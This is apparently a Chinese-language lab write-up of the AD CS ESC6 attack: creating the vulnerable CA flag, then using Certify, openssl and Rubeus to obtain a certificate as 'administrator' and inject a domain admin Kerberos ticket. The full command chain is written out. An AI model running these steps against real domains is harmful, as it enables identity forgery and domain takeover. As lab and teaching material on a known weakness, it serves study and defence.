原理
在企业内部基于 PKI 为 Web 服务器颁发证书的场景中,管理员为给证书添加额外主机名,会在 CA 上设置+EDITF_ATTRIBUTESUBJECTALTNAME2
标志。然而,按照微软描述,设置该标志后,攻击者能利用这一机制为任意域用户注册证书。这意味着攻击者可以伪造合法用户的身份证书,从而突破企业基于证书的身份验证机制。
漏洞利用条件
标志启用:CA 服务器必须启用+EDITF_ATTRIBUTESUBJECTALTNAME2
标志。该标志允许证书请求中自定义主题备用名称(SAN)字段,包括任意用户身份信息(如域管理员)。
证书模板权限:攻击者必须拥有向 CA 提交证书请求的权限(通常为普通域用户权限)。若模板未严格限制请求者身份或 SAN 字段内容,攻击者可直接构造恶意请求。
漏洞环境构造
使用命令设置
certutil -config "adcs.lutra.com\lutra-ADCS-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
使用命令查看
certutil -config "adcs.lutra.com\lutra-ADCS-CA" -getreg "policy\EditFlags"
漏洞环境检测
使用Certify检测漏洞
Certify.exe find /vulnerable
发现已经设置了EDITF_ATTRIBUTESUBJECTALTNAME2,可以利用
漏洞利用
使用User模板申请一张证书
Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:User /altname:administrator
将申请的证书复制保存为esc6.pem,使用openssl转为esc6.pfx,密码为空即可
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
使用Rubeus请求域管administrator的TGT
Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /dc:192.168.110.127 /ptt
将域控制器身份验证注册后再次执行,成功导入票据
导入票据后,已经有权限访问域控目录